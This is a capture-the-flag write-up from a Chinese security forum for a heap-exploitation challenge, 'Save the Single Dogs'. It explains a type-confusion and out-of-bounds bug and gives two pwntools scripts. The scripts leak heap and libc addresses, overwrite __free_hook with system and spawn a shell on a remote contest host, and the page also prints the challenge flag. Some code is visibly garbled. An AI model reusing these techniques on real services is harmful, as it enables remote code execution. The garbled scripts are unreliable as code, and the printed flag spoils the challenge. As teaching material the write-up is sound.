2019KCTF 晋级赛Q1 | 第四题点评及解题思路

小雪 看雪学院 1周前

春暖花开,万物复苏,又到了交配的季节,空气中充满着荷尔蒙的气味,然而,在广阔无垠的亚欧大陆上却生存着一个数量庞大的哺乳动物——单身狗。



第四题的团队发起了《拯救单身狗》的行动,拯救单身狗,势在必行。你脱单了吗?



此题围观人数达到了3144人,这道题目同样有44支战队破解出来。

出题团队

▼



战队成员: sixty的梦想

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喜好堆类型及内核类型题目,实习研究方向: IoT。漏洞挖掘路上的一枚菜鸡2333。

看雪CTF crownless 评委 点评

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《拯救单身狗》的设计包含了任意地址写以及堆数据泄漏,要求参赛者理清攻击思路,并具有逆向、编写pwn脚本的基本能力。

题目设计思路

1. 设计灵感来自于CVE-2018-5002,类型混淆。漏洞样本是通过vb脚本自定义两个相似对象,通过漏洞函数使两个对象的类型发生了混淆,实现了任意地址读写。

题目提前定义了两个对象类型,并设计一个漏洞函数 (漏洞为数组越界)。

```
Struct a{
Name;
}
Struct b{
A;
Name;
}
```

通过漏洞函数导致b对象进入了a对象的数组。导致对a对象name的写影响了实际为b对象的结构指针A。导致了任意地址写。

2. 程序开启了全保护,有了任意地址写后需要掌握写的地址。题目第二部分为信息泄露部分。在对a对象进行写入后会有一次输出内存的机会用来泄露堆里的数据。

流程为: 泄露堆地址->任意地址写chunk size->泄露libc地址

>> 解题思路

第一步,通过tchche指针得到堆的地址。由于free堆块采用的rand的方式从数组里随机释放。得到的heap地址需要/0x1000*0x1000+0x660(libc-2.27)

第二步,需要创造出能分配进入unsorted_bin链表的堆块。由于tcache的限制,需要释放大小大于0x408的堆块才能进入unsorted_bin,或者多次释放small chunk填充tcache链表。

题目malloc大小固定为0x20,需要通过任意地址写+堆地址写入某一堆块size,配合save函数中的free,free的堆块地址可以由类型混淆控制。

我选择写入的大小为0x30*22=0x420.得到libc中main_arena地址。之前可以尝试摸索发现程序存在tcache机制可以判断libc版本为2.26或2.27(故libc未给出,不然就太简单了)。分别尝试可得到libc地址。

第三步,任意地址写写入free_hook为system完成利用

```
from pwn import *
p=process('./Ezgame')
e=ELF('./libc-2.27.so')
context(log level='debug')
def save():
p. writeline ('5')
p. readuntil('>>')
def edit lucky(a, b):
p. writeline ('4')
p. readuntil('which')
p. writeline('0')
p. readuntil('What is your new name?')
p. write(a)
p. readuntil('name')
p. write(b)
p. readuntil('>>')
def edit_single(a, b):
p. writeline('3')
p. readuntil('which')
p. writeline(a)
p. readuntil('name')
p.write(b)
p.readuntil('>>')
def create_lucky(a, b):
p. writeline ('2')
p. readuntil('Name')
p. writeline(a)
p. readuntil('name')
p. write(b)
p. readuntil('>>')
def create single(a):
p. writeline('1')
p. readuntil('Name:')
p. write(a)
p. readuntil('>>')
p. readuntil('>>')
create lucky('123','123')
for i in range (0, 0x5):
create single('123')
for i in range (0, 0x5):
save()
create single('1')
p. writeline('3')
p. writeline('0')
p.readuntil('name')
```

```
p. write('1')
p. readuntil('new name: 1')
heap=u64((chr(0)+p.readuntil('1')[:-1]).1just(8, chr(0)))
heap addr=heap/0x1000*0x1000+0x660
success(hex(heap addr))
for i in range (0, 0x4f):
create single('/bin/sh'+chr(0))
save()
edit_single('80',p64(heap_addr+8))
edit lucky ('123', p64 (0x421))
edit_single('80', p64(heap_addr+0x10))
gdb. attach (p)
save()
p. writeline('3')
p. writeline('79')
p. readuntil('name')
p. write('a'*8)
p. readuntil('a'*8)
libc=u64(p.readuntil('1')[:-1].ljust(8,chr(0)))-0x1b7ca0
success (hex (libc))
edit_single('79',p64(libc+e.symbols['__free_hook']))
edit_lucky('123', p64(libc+e.symbols['system']))
edit_single('79', p64(heap_addr+0x40))
p. interactive()
```

解题思路

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本题解题思路由 ODPan 提供



查看保护

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

程序分析-拯救单身狗

流程

流程比较简单创建单,保存,编译sing和lucky dog

```
switch ( (unsigned int)&savedregs )
{
case lu:
singledog();
break:
case 2u:
luckydog();
break:
case 3u:
edit_singledog((__int64)"You can create a character and choose if he needs a partner.\n
break;
case 4u:
edit luckydog();
break;
case 5u:
save_singledog();
break;
case 6u:
exit(1);
return;
default:
continue;
```

拯救单身狗, free后, 排序存在溢出。two[79]==one[0]

```
unsigned int64 save singledog()
unsigned int lucky num1; // ST10 4
unsigned int single_numl; // ST14_4
void **v2; // ST18 8
void *v3: // ST20 8
int i; // [rsp+Ch] [rbp-24h]
unsigned int64 v6; // [rsp+28h] [rbp-8h]
v6 = readfsqword(0x28u);
puts ("A luckydog wants to change a partner, Which singledog will be saved?");
lucky_num1 = rand() % lucky_num;
single_num1 = rand() % single_num;
printf("luckydog %d save singledog%d!\n", lucky_numl, single_numl);
v2 = (void **) one[lucky num1];
v3 = two[single_num1];
free (*v2);
*v2 = v3:
for ( i = single_numl; i < single_num; ++i )</pre>
two[i] = two[i + 1];
--single_num;
return readfsqword(0x28u) v6;
```

获取libc基址

```
unsigned __int64 __fastcall edit_singledog(__int64 a1, __int64 a2)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("which?");
v3 = read_int();
if ( two[v3] )
{
  puts("Oh, singledog, changing your name can bring you good luck.");
  read(0, two[v3], 0x20uLL);
  printf("new name: %s", two[v3]);
}
else
```

```
puts("nothing here");
}
return __readfsqword(0x28u) ^ v4;
}
```

编辑单身狗时,对单身狗的序号没有正负判断。当序号输入为负数时,我们看看可以泄露点什么?

```
bss:0000563DB6742040 ; FILE *stderr
.bss:0000563DB6742040 ?? ?? ?? ?? ?? ?? ?? stderr@@GLIBC_2_2_5 dq ?
.bss:0000563DB6742040
.bss:0000563DB6742040
.bss:0000563DB6742048 ?? completed_6962 db ?
.bss:0000563DB6742048
.bss:0000563DB6742049 ?? ?? ?? align 4
.bss:0000563DB674204C public single num
.bss:0000563DB674204C 02 ?? ?? ?? single_num dd ?
.bss:0000563DB674204C
.bss:0000563DB6742050 public lucky_num
.bss:0000563DB6742050 ?? ?? ?? ?? lucky_num dd ?
.bss:0000563DB6742050
.bss:0000563DB6742054 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? dign 20h
.bss:0000563DB6742060 public two
.bss:0000563DB6742060 ; void *two[80]
.bss:0000563DB6742060 ?? ?? ?? ?? ?? ?? ?? ?? ?? +two dq 50h dup(?)
.bss:0000563DB6742060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
.bss:0000563DB67422E0 public one
.bss:0000563DB67422E0 ; QWORD one[80]
```

two数组的上方(-4位置)是stderr@@GLIBC_2_2_5,可以利用此漏洞泄露libc地址。

利用思路

- 1、创建80个sigledog
- 2、创建1个luckydog
- 3、saveSingledog使得two[79]=one[0]

- 4、editsingleDog泄露heap信息
- 5、编辑singleDog -4索引,获取libc基址
- 6、同时得到了free_hook和system函数地址
- 7、使用system替换free, 当saveSingledog调用free时, 获取shell。 完整的利用代码

```
#!/usr/bin/python
# coding:utf-8
from pwn import *
from zio import *
context(log_level='debug')
g_oneAddr = 0x202060
g_twoAddr = 0x2022E0
libcOffset = 0x3ec680
free_hookOffset = 0x3ed8e8
systemOffset = 0x4f440
def singledog(data):
io. sendline('1')
p = io.recvuntil('Name:\n')
if p[0:3] == 'full' :
print 'full'
io.recvuntil('>>')
return 79
```

```
index = p.index(':')
num = int(p[index+1:-6])
io. send (data)
io.recvuntil('>>')
return num
def editSingledog(num, data):
io.sendline('3')
p = io.recvuntil('which?')
io. sendline(str(num))
p = io.recvuntil('luck.')
io.send(data)
p = io.recvuntil('>>')
return p
print 'end editSingledog'
def luckdog(name, partner):
io. sendline('2')
#s1eep(1)
p = io.recvuntil('Name')
if p[0:3] == 'full' :
print 'full'
io.recvuntil('>>')
```

return 80

```
index = p.index(':')
num = int(p[index+1:-5])
print 'get num = ' + p[index+1:-5]
io. sendline (name)
p = io.recvuntil('s name')
io. sendline(partner)
io.recvuntil('>>')
return num
def editluckledog(num, name, partner):
io.sendline('4')
p = io.recvuntil('which?')
io. sendline(str(num))
p = io.recvuntil('new name?')
io. sendline (name)
p = io.recvuntil('s new name')
io. send (partner)
io.recvuntil('>>')
print 'end editluckledog'
```

```
def saveSingledog():
io.sendline('5')
p = io.recvuntil('>>')
#luckydog 0 save singledog0!
luckydogstart = p.index('luckydog', 66)
luckydogend = p.index('save', 66)
luckyNum = int(p[luckydogstart + 9:luckydogend-1])
singledogstart = luckydogend + 14
singledogend = p.index('!', 66)
singleNum = int(p[singledogstart:singledogend])
print 'luckyNum = ' + str(luckyNum) + ' singleNum = ' + str(singleNum)
print 'end saveSingledog'
return luckyNum, singleNum
def createSingleDogByNum():
i = 0;
while i \langle = 80 :
curNum = singledog("111111111111111111")
if curNum == 79:
return
i = i+1
```

return

```
def getHeapAddr():
createSingleDogByNum()
luckdog('444444', '555555555555')
luckIndex, singleIndex = saveSingledog()
p = editSingledog(79, '3')
addr = p[11:19]
heapAddr = u64(addr)
print str(hex(heapAddr))
heapAddr = heapAddr & 0x0000fffffffff00
print str(hex(heapAddr))
heapAddr = heapAddr - (((singleIndex)*0x30)&0x0000fffffffff00)
print str(hex(heapAddr))
return heapAddr, luckIndex, singleIndex
def SetAddr(addr):
editSingledog(79, p64(addr))
def changeAddr(singleIndex, heapAddr, value):
```

```
aimAddr = heapAddr + singleIndex*0x30
print 'aimAddr = ' + str(hex(aimAddr))
SetAddr (aimAddr)
data = p64(0) + p64(value)
editluckledog(0,'1', data)
if __name__ == '__main__':
#io = process('./apwn')
io = remote('211.159.175.39', 8686)
io.recvuntil('>>\n')
print 'start'
heapAddr, luckIndex, singleIndex = getHeapAddr()
p = editSingledog(-4, 'aaaaaaaaa')
end = p.index('1.create')
start = p.index('aaaaaaaa')
print 'end = ' + str(hex(end))
print 'start = ' + str(hex(start))
temp = p[19:27]
print temp
libcAddr = u64(temp)
libcAddr = libcAddr - 0x83
```

```
libcAddr = libcAddr & 0x0000ffffffffffff
#0x2e317f45bbc9c703
print str(hex(libcAddr))
libcBaseAddr = libcAddr - libcOffset
print str(hex(libcBaseAddr))
freeAddr = libcBaseAddr + free_hookOffset
systemAddr = libcBaseAddr + systemOffset
print 'freeAddrr = ' + str(hex(freeAddr))
print 'systemAddr = ' + str(hex(systemAddr))
\# [free\_hook \ addr] = systemAddr
SetAddr (freeAddr)
data = p64(systemAddr)
editluckledog(0,'1', data)
#gdb. attach (proc. pidof (io) [0])
#print 'pause...'
#pause()
print '*************[free hook addr] = systemAddr ******************************
# recover old addr
aimAddr = heapAddr + singleIndex*0x30 + 0x10
```

```
print 'aimAddr = ' + str(hex(aimAddr))
SetAddr (aimAddr)
# set /bin/sh
binshstring = '/bin/sh' + p64(0)
print binshstring
editluckledog(0,'1', binshstring)
#io.recvuntil('end editluckledog')
sleep(2)
io. sendline('5')
io.recvuntil('!')
#print '*********** shell *************
io.interactive()
```

flag {eiwe823kdkuwewl4iu3lsdu8234siwe7}



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